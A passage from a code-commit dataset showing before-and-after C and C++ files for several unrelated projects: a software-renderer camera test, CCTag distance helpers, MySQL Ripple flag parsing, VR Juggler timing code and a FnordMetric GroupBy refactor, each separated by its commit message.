updateScreen(buffer);\n\n keysPressed = translateInput();\n\n vs = vecScale(&cam.target, 0.01f);\n rs = vecScale(&cam.right, 0.1f);\n if(keysPressed[KEY_W])\n cam.position = vecAdd(&cam.position, &vs);\n\n if(keysPressed[KEY_S])\n cam.position = vecSub(&cam.position, &vs);\n\n if(keysPressed[KEY_A])\n cam.position = vecSub(&cam.position, &rs);\n\n if(keysPressed[KEY_D])\n cam.position = vecAdd(&cam.position, &rs);\n\n if(keysPressed[KEY_LEFT])\n {\n rotateVecAxisAngle(&cam.target, 0.0001f, cam.up.x, cam.up.y, cam.up.z);\n cam.right = crossProduct(&cam.target, &cam.up);\n }\n\n if(keysPressed[KEY_RIGHT])\n {\n rotateVecAxisAngle(&cam.target, -0.0001f, cam.up.x, cam.up.y, cam.up.z);\n cam.right = crossProduct(&cam.target, &cam.up);\n }\n }\n \n ftime(&startTime);\n ftime(&endTime);\n\n free(buffer);\n\n elapsed = (endTime.time - startTime.time)*1000 + endTime.millitm - startTime.millitm;\n\n do {\n keysPressed = translateInput();\n } while(keysPressed[KEY_ESC]);\n}\nfixed perspective problems#include \"src\/graphics.h\"\n#include \"src\/math.h\"\n\n#include \n#include \n\ntypedef struct\n{\n Vector4f position;\n Vector4f target;\n Vector4f up;\n Vector4f right;\n Matrix4f view;\n Matrix4f projection;\n} Camera;\n\n\/\/ Projection test\nvoid testProjection(int scrWidth, int scrHeight)\n{\n unsigned short *keysPressed;\n unsigned int elapsed, i,x,y;\n struct timeb startTime, endTime;\n Vector4f vs, rs;\n Vector4f square[4];\n Camera cam;\n Matrix4f vp;\n unsigned char *buffer = (unsigned char *)malloc(scrWidth*scrHeight);\n\n cam.position.x = 0;\n cam.position.y = 0;\n cam.position.z = 1.f;\n cam.position.w = 1.f;\n\n cam.up.x = 0.f;\n cam.up.y = 1.f;\n cam.up.z = 0.f;\n cam.up.w = 1.f;\n\n cam.right.x = 1.f;\n cam.right.y = 0.f;\n cam.right.z = 0.f;\n cam.right.w = 1.f;\n\n cam.target.x = 0.f;\n cam.target.y = 0.f;\n cam.target.z = -1.f;\n cam.target.w = 1.f;\n\n if(!buffer)\n {\n printf(\"Out of memory!\");\n return;\n }\n\n keysPressed = translateInput();\n\n while(!keysPressed[KEY_ESC])\n {\n for(i = 0; i < 4; i++)\n {\n square[i].x = 0 + 50*(i%2);\n square[i].y = 0 + 50*(i > 1 ? 1 : 0);\n square[i].z = -80.f;\n square[i].w = 1.f;\n }\n\n matView(&cam.view, &cam.position, &cam.target, &cam.up);\n matPerspective(&cam.projection, 75.f * M_PI \/180.f, (float)scrWidth \/ (float)scrHeight, 0.1f, 5.f);\n vp = matMul(&cam.view, &cam.projection);\n matTranspose(&vp);\n\n for(i = 0; i < 4; i++)\n {\n square[i] = matMulVec(&vp, &square[i]);\n\n \/\/ translate position to screen pixels\n square[i].x = (square[i].x * (float)scrWidth) \/ (2.0f * square[i].w) + (scrWidth >> 1);\n square[i].y = (square[i].y * (float)scrHeight) \/ (2.0f * square[i].w) + (scrHeight >> 1);\n }\n\n clrScrBuffer(buffer);\n\n drawLine(square[0].x, square[0].y, square[1].x, square[1].y, 3, buffer);\n drawLine(square[1].x, square[1].y, square[3].x, square[3].y, 3, buffer);\n drawLine(square[0].x, square[0].y, square[2].x, square[2].y, 3, buffer);\n drawLine(square[2].x, square[2].y, square[3].x, square[3].y, 3, buffer);\n\n updateScreen(buffer);\n\n keysPressed = translateInput();\n\n vs = vecScale(&cam.target, 0.1f);\n rs = vecScale(&cam.right, 0.1f);\n\n if(keysPressed[KEY_W])\n cam.position = vecAdd(&cam.position, &vs);\n\n if(keysPressed[KEY_S])\n cam.position = vecSub(&cam.position, &vs);\n\n if(keysPressed[KEY_A])\n cam.position = vecSub(&cam.position, &rs);\n\n if(keysPressed[KEY_D])\n cam.position = vecAdd(&cam.position, &rs);\n\n if(keysPressed[KEY_LEFT])\n {\n rotateVecAxisAngle(&cam.target, 0.001f, cam.up.x, cam.up.y, cam.up.z);\n cam.right = crossProduct(&cam.target, &cam.up);\n }\n\n if(keysPressed[KEY_RIGHT])\n {\n rotateVecAxisAngle(&cam.target, -0.001f, cam.up.x, cam.up.y, cam.up.z);\n cam.right = crossProduct(&cam.target, &cam.up);\n }\n\n if(keysPressed[KEY_PGUP])\n {\n rotateVecAxisAngle(&cam.target, -0.001f, cam.right.x, cam.right.y, cam.right.z);\n cam.right = crossProduct(&cam.target, &cam.up);\n }\n\n if(keysPressed[KEY_PGDN])\n {\n rotateVecAxisAngle(&cam.target, 0.001f, cam.right.x, cam.right.y, cam.right.z);\n cam.up = crossProduct(&cam.right, &cam.target);\n }\n }\n \n ftime(&startTime);\n ftime(&endTime);\n\n free(buffer);\n\n elapsed = (endTime.time - startTime.time)*1000 + endTime.millitm - startTime.millitm;\n\n do {\n keysPressed = translateInput();\n } while(keysPressed[KEY_ESC]);\n}\n<|endoftext|>"} {"text":"#ifndef _CCTAG_DISTANCE_HPP_\n#define _CCTAG_DISTANCE_HPP_\n\n#include \n\n#include \n#include \n#include \n#include \n#include \n\nnamespace cctag {\nnamespace numerical {\n\nnamespace ublas = boost::numeric::ublas;\n\ntemplate\ninline double distancePoints2D( const T& p1, const T& p2 ) \/\/ TODO modifier les accès, considérer p1, p2 comme des bounded_vector\n{\n\treturn std::sqrt( (double)boost::math::pow<2>( p2.x() - p1.x() ) +\n\t boost::math::pow<2>( p2.y() - p1.y() ) );\n}\n\ntemplate\ninline double powDistancePoints2D( const T& p1, const T& p2 ) \/\/ TODO modifier les accès, considérer p1, p2 comme des bounded_vector\n{\n\treturn boost::math::pow<2>( p2.x() - p1.x() ) +\n\t boost::math::pow<2>( p2.y() - p1.y() );\n}\n\ntemplate\ninline double distancePoints3D( const T& p1, const T& p2 ) \/\/ TODO modifier les accès, considérer p1, p2 comme des bounded_vector\n{\n\treturn std::sqrt( (double)( p2.x() - p1.x() ) * ( p2.x() - p1.x() ) +\n\t ( p2.y() - p1.y() ) * ( p2.y() - p1.y() ) +\n\t ( p2.z() - p1.z() ) * ( p2.z() - p1.z() ) );\n}\n\n\/\/ Compute (point-polar) distance between a point and an ellipse represented by its 3x3 matrix.\ninline double distancePointEllipse( const ublas::bounded_vector& p, const ublas::bounded_matrix & Q, const double f )\n{\n\tublas::bounded_vector aux( 6 );\n\n\taux( 0 ) = p( 0 ) * p( 0 );\n\taux( 1 ) = 2 * p( 0 ) * p( 1 );\n\taux( 2 ) = 2* f* p( 0 );\n\taux( 3 ) = p( 1 ) * p( 1 );\n\taux( 4 ) = 2* f* p( 1 );\n\taux( 5 ) = f * f;\n\n\t\/\/sdist = ([pts(:,1).*pts(:,1) 2*pts(:,1).*pts(:,2) pts(:,2).*pts(:,2) 2*f*pts(:,1) 2*f*pts(:,2) f*f*ones(n,1)]*Q([1;2;5;7;8;9])).^2.\/((pts*Q([1;2;3])).^2+(pts*Q([2;5;8])).^2);\n\tdouble tmp1 = p( 0 ) * Q( 0, 0 ) + p( 1 ) * Q( 0, 1 ) + p( 2 ) * Q( 0, 2 );\n\tdouble tmp2 = p( 0 ) * Q( 0, 1 ) + p( 1 ) * Q( 1, 1 ) + p( 2 ) * Q( 1, 2 );\n\tdouble denom = tmp1 * tmp1 + tmp2 * tmp2;\n\n\tublas::bounded_vector qL;\n\tqL( 0 ) = Q( 0, 0 ) ; qL( 1 ) = Q( 0, 1 ) ; qL( 2 ) = Q( 0, 2 ) ;\n\tqL( 3 ) = Q( 1, 1 ) ; qL( 4 ) = Q( 1, 2 ) ;\n\tqL( 5 ) = Q( 2, 2 );\n\treturn boost::math::pow<2>( ublas::inner_prod( aux, qL ) ) \/ denom;\n}\n\ninline double distancePointEllipse( const ublas::bounded_vector& p, const geometry::Ellipse& q, const double f )\n{\n\tconst ublas::bounded_matrix& Q = q.matrix();\n\n\treturn distancePointEllipse( p, Q, f );\n}\n\n\/\/ Compute the distance between points and an ellipse\n\/\/template\ninline void distancePointEllipse( std::vector& dist, const std::vector >& pts, const geometry::Ellipse& q, const double f )\n{\n\tdist.clear();\n\tdist.reserve( pts.size() );\n\ttypedef ublas::bounded_vector Point;\n\n\tBOOST_FOREACH( const Point &p, pts )\n\t{\n\t\tdist.push_back( distancePointEllipse( p, q, f ) );\n\t}\n}\n\n}\n}\n\n#endif\nTwo template arguments for point to point distance.#ifndef _CCTAG_DISTANCE_HPP_\n#define _CCTAG_DISTANCE_HPP_\n\n#include \n\n#include \n#include \n#include \n#include \n#include \n\nnamespace cctag {\nnamespace numerical {\n\nnamespace ublas = boost::numeric::ublas;\n\ntemplate\ninline double distancePoints2D( const T& p1, const U& p2 ) \/\/ TODO modifier les accès, considérer p1, p2 comme des bounded_vector\n{\n\treturn std::sqrt( (double)boost::math::pow<2>( p2.x() - p1.x() ) +\n\t boost::math::pow<2>( p2.y() - p1.y() ) );\n}\n\ntemplate\ninline double powDistancePoints2D( const T& p1, const T& p2 ) \/\/ TODO modifier les accès, considérer p1, p2 comme des bounded_vector\n{\n\treturn boost::math::pow<2>( p2.x() - p1.x() ) +\n\t boost::math::pow<2>( p2.y() - p1.y() );\n}\n\ntemplate\ninline double distancePoints3D( const T& p1, const T& p2 ) \/\/ TODO modifier les accès, considérer p1, p2 comme des bounded_vector\n{\n\treturn std::sqrt( (double)( p2.x() - p1.x() ) * ( p2.x() - p1.x() ) +\n\t ( p2.y() - p1.y() ) * ( p2.y() - p1.y() ) +\n\t ( p2.z() - p1.z() ) * ( p2.z() - p1.z() ) );\n}\n\n\/\/ Compute (point-polar) distance between a point and an ellipse represented by its 3x3 matrix.\ninline double distancePointEllipse( const ublas::bounded_vector& p, const ublas::bounded_matrix & Q, const double f )\n{\n\tublas::bounded_vector aux( 6 );\n\n\taux( 0 ) = p( 0 ) * p( 0 );\n\taux( 1 ) = 2 * p( 0 ) * p( 1 );\n\taux( 2 ) = 2* f* p( 0 );\n\taux( 3 ) = p( 1 ) * p( 1 );\n\taux( 4 ) = 2* f* p( 1 );\n\taux( 5 ) = f * f;\n\n\t\/\/sdist = ([pts(:,1).*pts(:,1) 2*pts(:,1).*pts(:,2) pts(:,2).*pts(:,2) 2*f*pts(:,1) 2*f*pts(:,2) f*f*ones(n,1)]*Q([1;2;5;7;8;9])).^2.\/((pts*Q([1;2;3])).^2+(pts*Q([2;5;8])).^2);\n\tdouble tmp1 = p( 0 ) * Q( 0, 0 ) + p( 1 ) * Q( 0, 1 ) + p( 2 ) * Q( 0, 2 );\n\tdouble tmp2 = p( 0 ) * Q( 0, 1 ) + p( 1 ) * Q( 1, 1 ) + p( 2 ) * Q( 1, 2 );\n\tdouble denom = tmp1 * tmp1 + tmp2 * tmp2;\n\n\tublas::bounded_vector qL;\n\tqL( 0 ) = Q( 0, 0 ) ; qL( 1 ) = Q( 0, 1 ) ; qL( 2 ) = Q( 0, 2 ) ;\n\tqL( 3 ) = Q( 1, 1 ) ; qL( 4 ) = Q( 1, 2 ) ;\n\tqL( 5 ) = Q( 2, 2 );\n\treturn boost::math::pow<2>( ublas::inner_prod( aux, qL ) ) \/ denom;\n}\n\ninline double distancePointEllipse( const ublas::bounded_vector& p, const geometry::Ellipse& q, const double f )\n{\n\tconst ublas::bounded_matrix& Q = q.matrix();\n\n\treturn distancePointEllipse( p, Q, f );\n}\n\n\/\/ Compute the distance between points and an ellipse\n\/\/template\ninline void distancePointEllipse( std::vector& dist, const std::vector >& pts, const geometry::Ellipse& q, const double f )\n{\n\tdist.clear();\n\tdist.reserve( pts.size() );\n\ttypedef ublas::bounded_vector Point;\n\n\tBOOST_FOREACH( const Point &p, pts )\n\t{\n\t\tdist.push_back( distancePointEllipse( p, q, f ) );\n\t}\n}\n\n}\n}\n\n#endif\n<|endoftext|>"} {"text":"\/\/ Copyright 2018 The Ripple Authors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"init.h\"\n\nnamespace mysql_ripple {\n\nvoid Init(int argc, char** argv) {\n}\n\n} \/\/ namespace mysql_ripple\nFix parsing of flags\/\/ Copyright 2018 The Ripple Authors\n\/\/\n\/\/ Licensed under the Apache License, Version 2.0 (the \"License\");\n\/\/ you may not use this file except in compliance with the License.\n\/\/ You may obtain a copy of the License at\n\/\/\n\/\/ http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n\/\/\n\/\/ Unless required by applicable law or agreed to in writing, software\n\/\/ distributed under the License is distributed on an \"AS IS\" BASIS,\n\/\/ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n\/\/ See the License for the specific language governing permissions and\n\/\/ limitations under the License.\n\n#include \"init.h\"\n#include \"flags.h\"\n\nnamespace mysql_ripple {\n\nvoid Init(int argc, char** argv) {\n gflags::ParseCommandLineFlags(&argc, &argv, true);\n}\n\n} \/\/ namespace mysql_ripple\n<|endoftext|>"} {"text":"\/****************** *****************\n *\n * VR Juggler Portable Runtime\n *\n * Original Authors:\n * Allen Bierbaum, Patrick Hartling, Kevin Meinert, Carolina Cruz-Neira\n *\n * -----------------------------------------------------------------\n * File: $RCSfile$\n * Date modified: $Date$\n * Version: $Revision$\n * -----------------------------------------------------------------\n *\n ****************** ******************\/\n\n\/*************** **************\n *\n * VR Juggler is (C) Copyright 1998, 1999, 2000, 2001 by Iowa State University\n *\n * Original Authors:\n * Allen Bierbaum, Christopher Just,\n * Patrick Hartling, Kevin Meinert,\n * Carolina Cruz-Neira, Albert Baker\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\n *************** ***************\/\n\n#include \n\n#ifdef VPR_SIMULATOR\n# include \n#endif\n\n#include \n#include \n\nconst vpr::Interval vpr::Interval::NoWait(0,vpr::Interval::Base);\nconst vpr::Interval vpr::Interval::NoTimeout(0xffffffffUL, vpr::Interval::Base);\nconst vpr::Interval vpr::Interval::HalfPeriod((0xffffffffUL\/2), vpr::Interval::Base);\n\nnamespace vpr\n{\n\n \/\/ Simulator-only version of vpr::Interval::setNow().\n#ifdef VPR_SIMULATOR\nvoid Interval::setNow()\n{\n mMicroSeconds = vpr::sim::Controller::instance()->getClock().getCurrentTime().getBaseVal();\n}\n#else\nvoid Interval::setNow()\n{\n setNowReal();\n}\n#endif \/* ifdef VPR_SIMULATOR *\/\n\n\/\/\n\/\/ Real implementation of setNow that uses the real clock time from the system\n\/\/\nvoid Interval::setNowReal()\n{\n#if defined(VPR_OS_Win32)\n LARGE_INTEGER count;\n LARGE_INTEGER counts_per_sec;\n\n QueryPerformanceFrequency(&counts_per_sec);\n\n vpr::Uint64 counts_per_sec64;\n vpr::Uint64 counts_per_sec_high64;\n\n counts_per_sec_high64 = counts_per_sec.HighPart;\n counts_per_sec64 = counts_per_sec.LowPart;\n counts_per_sec64 += (counts_per_sec_high64 << 32);\n\n \/\/ XXX: Implement this\n \/* Sadly; nspr requires the interval to range from 1000 ticks per second\n * to only 100000 ticks per second; QueryPerformanceCounter is too high\n * resolution...\n *\/\n if (QueryPerformanceCounter(&count))\n {\n const vpr::Uint64 microseconds_per_sec = 1000000u;\n\n vpr::Uint64 low = count.LowPart;\n vpr::Uint64 high = count.HighPart;\n mMicroSeconds = low + (high << 32);\n mMicroSeconds \/= counts_per_sec64;\n mMicroSeconds *= microseconds_per_sec;\n\n\/\/ vpr::Int32 top = count.HighPart & _nt_highMask;\n\/\/ top = top << (32 - _nt_bitShift);\n\/\/ count.LowPart = count.LowPart >> _nt_bitShift; \n\/\/ count.LowPart = count.LowPart + top; \n\/\/ mMicroSeconds = count.LowPart;\n }\n\/*\n else\n {\n#if defined(__MINGW32__)\n mMicroSeconds = time();\n#elif defined(WIN16)\n mMicroSeconds = clock(); \/\/ milliseconds since application start\n#else\n mMicroSeconds = GetTickCount(); \/\/ milliseconds since system start\n#endif\n }\n*\/\n#else \/\/ Default to POSIX time setting\n \n timeval cur_time;\n vpr::System::gettimeofday(&cur_time);\n mMicroSeconds = (cur_time.tv_usec + (1000000 * cur_time.tv_sec));\n\n#endif\n}\n\n}; \/\/ namespace vpr\n\n\n\n\nRemoved code copied from NSPR that we commented out.\/****************** *****************\n *\n * VR Juggler Portable Runtime\n *\n * Original Authors:\n * Allen Bierbaum, Patrick Hartling, Kevin Meinert, Carolina Cruz-Neira\n *\n * -----------------------------------------------------------------\n * File: $RCSfile$\n * Date modified: $Date$\n * Version: $Revision$\n * -----------------------------------------------------------------\n *\n ****************** ******************\/\n\n\/*************** **************\n *\n * VR Juggler is (C) Copyright 1998, 1999, 2000, 2001 by Iowa State University\n *\n * Original Authors:\n * Allen Bierbaum, Christopher Just,\n * Patrick Hartling, Kevin Meinert,\n * Carolina Cruz-Neira, Albert Baker\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Library General Public\n * License as published by the Free Software Foundation; either\n * version 2 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Library General Public License for more details.\n *\n * You should have received a copy of the GNU Library General Public\n * License along with this library; if not, write to the\n * Free Software Foundation, Inc., 59 Temple Place - Suite 330,\n * Boston, MA 02111-1307, USA.\n *\n *************** ***************\/\n\n#include \n\n#ifdef VPR_SIMULATOR\n# include \n#endif\n\n#include \n#include \n\nconst vpr::Interval vpr::Interval::NoWait(0,vpr::Interval::Base);\nconst vpr::Interval vpr::Interval::NoTimeout(0xffffffffUL, vpr::Interval::Base);\nconst vpr::Interval vpr::Interval::HalfPeriod((0xffffffffUL\/2), vpr::Interval::Base);\n\nnamespace vpr\n{\n\n \/\/ Simulator-only version of vpr::Interval::setNow().\n#ifdef VPR_SIMULATOR\nvoid Interval::setNow()\n{\n mMicroSeconds = vpr::sim::Controller::instance()->getClock().getCurrentTime().getBaseVal();\n}\n#else\nvoid Interval::setNow()\n{\n setNowReal();\n}\n#endif \/* ifdef VPR_SIMULATOR *\/\n\n\/\/\n\/\/ Real implementation of setNow that uses the real clock time from the system\n\/\/\nvoid Interval::setNowReal()\n{\n#if defined(VPR_OS_Win32)\n LARGE_INTEGER count;\n LARGE_INTEGER counts_per_sec;\n\n QueryPerformanceFrequency(&counts_per_sec);\n\n vpr::Uint64 counts_per_sec64;\n vpr::Uint64 counts_per_sec_high64;\n\n counts_per_sec_high64 = counts_per_sec.HighPart;\n counts_per_sec64 = counts_per_sec.LowPart;\n counts_per_sec64 += (counts_per_sec_high64 << 32);\n\n \/\/ XXX: Implement this\n \/* Sadly; nspr requires the interval to range from 1000 ticks per second\n * to only 100000 ticks per second; QueryPerformanceCounter is too high\n * resolution...\n *\/\n if (QueryPerformanceCounter(&count))\n {\n const vpr::Uint64 microseconds_per_sec = 1000000u;\n\n vpr::Uint64 low = count.LowPart;\n vpr::Uint64 high = count.HighPart;\n mMicroSeconds = low + (high << 32);\n mMicroSeconds \/= counts_per_sec64;\n mMicroSeconds *= microseconds_per_sec;\n }\n\/*\n else\n {\n#if defined(__MINGW32__)\n mMicroSeconds = time();\n#elif defined(WIN16)\n mMicroSeconds = clock(); \/\/ milliseconds since application start\n#else\n mMicroSeconds = GetTickCount(); \/\/ milliseconds since system start\n#endif\n }\n*\/\n#else \/\/ Default to POSIX time setting\n \n timeval cur_time;\n vpr::System::gettimeofday(&cur_time);\n mMicroSeconds = (cur_time.tv_usec + (1000000 * cur_time.tv_sec));\n\n#endif\n}\n\n}; \/\/ namespace vpr\n\n\n\n\n<|endoftext|>"} {"text":"\/**\n * This file is part of the \"FnordMetric\" project\n * Copyright (c) 2014 Paul Asmuth, Google Inc.\n *\n * FnordMetric is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU General Public License v3.0. You should have received a\n * copy of the GNU General Public License along with this program. If not, see\n * .\n *\/\n#include \n#include \n#include \n\nnamespace csql {\n\nGroupBy::GroupBy(\n ScopedPtr source,\n const Vector& column_names,\n Vector> select_expressions,\n Vector> group_expressions,\n SHA1Hash qtree_fingerprint) :\n source_(std::move(source)),\n column_names_(column_names),\n select_exprs_(std::move(select_expressions)),\n group_exprs_(std::move(group_expressions)),\n qtree_fingerprint_(qtree_fingerprint) {}\n\nvoid GroupBy::execute(\n ExecutionContext* context,\n Function fn) {\n HashMap> groups;\n ScratchMemory scratch;\n\n try {\n accumulate(&groups, &scratch, context);\n getResult(&groups, fn);\n } catch (...) {\n freeResult(&groups);\n throw;\n }\n\n freeResult(&groups);\n}\n\nvoid GroupBy::accumulate(\n HashMap>* groups,\n ScratchMemory* scratch,\n ExecutionContext* context) {\n auto cache_key = cacheKey();\n String cache_filename;\n bool from_cache = false;\n auto cachedir = context->cacheDir();\n if (!cache_key.isEmpty() && !cachedir.isEmpty()) {\n cache_filename = FileUtil::joinPaths(\n cachedir.get(),\n cache_key.get().toString() + \".qcache\");\n\n if (FileUtil::exists(cache_filename)) {\n auto fis = FileInputStream::openFile(cache_filename);\n from_cache = decode(groups, scratch, fis.get());\n }\n }\n\n if (!from_cache) {\n source_->execute(\n context,\n std::bind(\n &GroupBy::nextRow,\n this,\n groups,\n scratch,\n std::placeholders::_1,\n std::placeholders::_2));\n }\n\n if (!from_cache && !cache_key.isEmpty() && !cachedir.isEmpty()) {\n BufferedOutputStream fos(\n FileOutputStream::fromFile(\n File::openFile(\n cache_filename + \"~\",\n File::O_CREATEOROPEN | File::O_WRITE | File::O_TRUNCATE)));\n\n encode(groups, &fos);\n FileUtil::mv(cache_filename + \"~\", cache_filename);\n }\n}\n\nvoid GroupBy::getResult(\n const HashMap>* groups,\n Function fn) {\n Vector out_row(select_exprs_.size(), SValue{});\n for (auto& group : *groups) {\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n select_exprs_[i]->result(&group.second[i], &out_row[i]);\n }\n\n if (!fn(out_row.size(), out_row.data())) {\n return;\n }\n }\n}\n\nvoid GroupBy::freeResult(\n HashMap>* groups) {\n for (auto& group : (*groups)) {\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n select_exprs_[i]->freeInstance(&group.second[i]);\n }\n }\n}\n\nvoid GroupBy::mergeResult(\n const HashMap>* src,\n HashMap>* dst,\n ScratchMemory* scratch) {\n for (const auto& src_group : *src) {\n auto& dst_group = (*dst)[src_group.first];\n if (dst_group.size() == 0) {\n for (const auto& e : select_exprs_) {\n dst_group.emplace_back(e->allocInstance(scratch));\n }\n }\n\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n select_exprs_[i]->merge(&dst_group[i], &src_group.second[i]);\n }\n }\n}\n\nbool GroupBy::nextRow(\n HashMap>* groups,\n ScratchMemory* scratch,\n int row_len, const SValue* row) {\n Vector gkey(group_exprs_.size(), SValue{});\n for (size_t i = 0; i < group_exprs_.size(); ++i) {\n group_exprs_[i]->evaluate(row_len, row, &gkey[i]);\n }\n\n auto group_key = SValue::makeUniqueKey(gkey.data(), gkey.size());\n auto& group = (*groups)[group_key];\n if (group.size() == 0) {\n for (const auto& e : select_exprs_) {\n group.emplace_back(e->allocInstance(scratch));\n }\n }\n\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n select_exprs_[i]->accumulate(&group[i], row_len, row);\n }\n\n return true;\n}\n\nVector GroupBy::columnNames() const {\n return column_names_;\n}\n\nsize_t GroupBy::numColumns() const {\n return column_names_.size();\n}\n\nvoid GroupBy::encode(\n const HashMap>* groups,\n OutputStream* os) const {\n os->appendVarUInt(groups->size());\n os->appendVarUInt(select_exprs_.size());\n\n for (auto& group : *groups) {\n os->appendLenencString(group.first);\n\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n select_exprs_[i]->saveState(&group.second[i], os);\n }\n }\n}\n\nbool GroupBy::decode(\n HashMap>* groups,\n ScratchMemory* scratch,\n InputStream* is) const {\n auto ngroups = is->readVarUInt();\n auto nexprs = is->readVarUInt();\n\n if (select_exprs_.size() != nexprs) {\n return false;\n }\n\n for (size_t j = 0; j < ngroups; ++j) {\n auto group_key = is->readLenencString();\n\n auto& group = (*groups)[group_key];\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n const auto& e = select_exprs_[i];\n group.emplace_back(e->allocInstance(scratch));\n e->loadState(&group[i], is);\n }\n }\n\n return true;\n}\n\nOption GroupBy::cacheKey() const {\n auto source_key = source_->cacheKey();\n if (source_key.isEmpty()) {\n return None();\n }\n\n return Some(\n SHA1::compute(\n StringUtil::format(\n \"$0~$1\",\n source_key.get().toString(),\n qtree_fingerprint_.toString())));\n}\n\n\n}\nuse new VM iface in GroupBy\/**\n * This file is part of the \"FnordMetric\" project\n * Copyright (c) 2014 Paul Asmuth, Google Inc.\n *\n * FnordMetric is free software: you can redistribute it and\/or modify it under\n * the terms of the GNU General Public License v3.0. You should have received a\n * copy of the GNU General Public License along with this program. If not, see\n * .\n *\/\n#include \n#include \n#include \n\nnamespace csql {\n\nGroupBy::GroupBy(\n ScopedPtr source,\n const Vector& column_names,\n Vector> select_expressions,\n Vector> group_expressions,\n SHA1Hash qtree_fingerprint) :\n source_(std::move(source)),\n column_names_(column_names),\n select_exprs_(std::move(select_expressions)),\n group_exprs_(std::move(group_expressions)),\n qtree_fingerprint_(qtree_fingerprint) {}\n\nvoid GroupBy::execute(\n ExecutionContext* context,\n Function fn) {\n HashMap> groups;\n ScratchMemory scratch;\n\n try {\n accumulate(&groups, &scratch, context);\n getResult(&groups, fn);\n } catch (...) {\n freeResult(&groups);\n throw;\n }\n\n freeResult(&groups);\n}\n\nvoid GroupBy::accumulate(\n HashMap>* groups,\n ScratchMemory* scratch,\n ExecutionContext* context) {\n auto cache_key = cacheKey();\n String cache_filename;\n bool from_cache = false;\n auto cachedir = context->cacheDir();\n if (!cache_key.isEmpty() && !cachedir.isEmpty()) {\n cache_filename = FileUtil::joinPaths(\n cachedir.get(),\n cache_key.get().toString() + \".qcache\");\n\n if (FileUtil::exists(cache_filename)) {\n auto fis = FileInputStream::openFile(cache_filename);\n from_cache = decode(groups, scratch, fis.get());\n }\n }\n\n if (!from_cache) {\n source_->execute(\n context,\n std::bind(\n &GroupBy::nextRow,\n this,\n groups,\n scratch,\n std::placeholders::_1,\n std::placeholders::_2));\n }\n\n if (!from_cache && !cache_key.isEmpty() && !cachedir.isEmpty()) {\n BufferedOutputStream fos(\n FileOutputStream::fromFile(\n File::openFile(\n cache_filename + \"~\",\n File::O_CREATEOROPEN | File::O_WRITE | File::O_TRUNCATE)));\n\n encode(groups, &fos);\n FileUtil::mv(cache_filename + \"~\", cache_filename);\n }\n}\n\nvoid GroupBy::getResult(\n const HashMap>* groups,\n Function fn) {\n Vector out_row(select_exprs_.size(), SValue{});\n for (auto& group : *groups) {\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n VM::result(select_exprs_[i]->program(), &group.second[i], &out_row[i]);\n }\n\n if (!fn(out_row.size(), out_row.data())) {\n return;\n }\n }\n}\n\nvoid GroupBy::freeResult(\n HashMap>* groups) {\n for (auto& group : (*groups)) {\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n VM::freeInstance(select_exprs_[i]->program(), &group.second[i]);\n }\n }\n}\n\nvoid GroupBy::mergeResult(\n const HashMap>* src,\n HashMap>* dst,\n ScratchMemory* scratch) {\n for (const auto& src_group : *src) {\n auto& dst_group = (*dst)[src_group.first];\n if (dst_group.size() == 0) {\n for (const auto& e : select_exprs_) {\n dst_group.emplace_back(VM::allocInstance(e->program(), scratch));\n }\n }\n\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n VM::merge(\n select_exprs_[i]->program(),\n &dst_group[i],\n &src_group.second[i]);\n }\n }\n}\n\nbool GroupBy::nextRow(\n HashMap>* groups,\n ScratchMemory* scratch,\n int row_len, const SValue* row) {\n Vector gkey(group_exprs_.size(), SValue{});\n for (size_t i = 0; i < group_exprs_.size(); ++i) {\n VM::evaluate(group_exprs_[i]->program(), row_len, row, &gkey[i]);\n }\n\n auto group_key = SValue::makeUniqueKey(gkey.data(), gkey.size());\n auto& group = (*groups)[group_key];\n if (group.size() == 0) {\n for (const auto& e : select_exprs_) {\n group.emplace_back(VM::allocInstance(e->program(), scratch));\n }\n }\n\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n VM::accumulate(select_exprs_[i]->program(), &group[i], row_len, row);\n }\n\n return true;\n}\n\nVector GroupBy::columnNames() const {\n return column_names_;\n}\n\nsize_t GroupBy::numColumns() const {\n return column_names_.size();\n}\n\nvoid GroupBy::encode(\n const HashMap>* groups,\n OutputStream* os) const {\n os->appendVarUInt(groups->size());\n os->appendVarUInt(select_exprs_.size());\n\n for (auto& group : *groups) {\n os->appendLenencString(group.first);\n\n for (size_t i = 0; i < select_exprs_.size(); ++i) {\n VM::saveState(select_exprs_[i]->program(), &group.second[i], os);\n }\n }\n}\n\nbool GroupBy::decode(\n HashMap>* groups,\n ScratchMemory* scratch,\n InputStream* is) const {\n auto ngroups 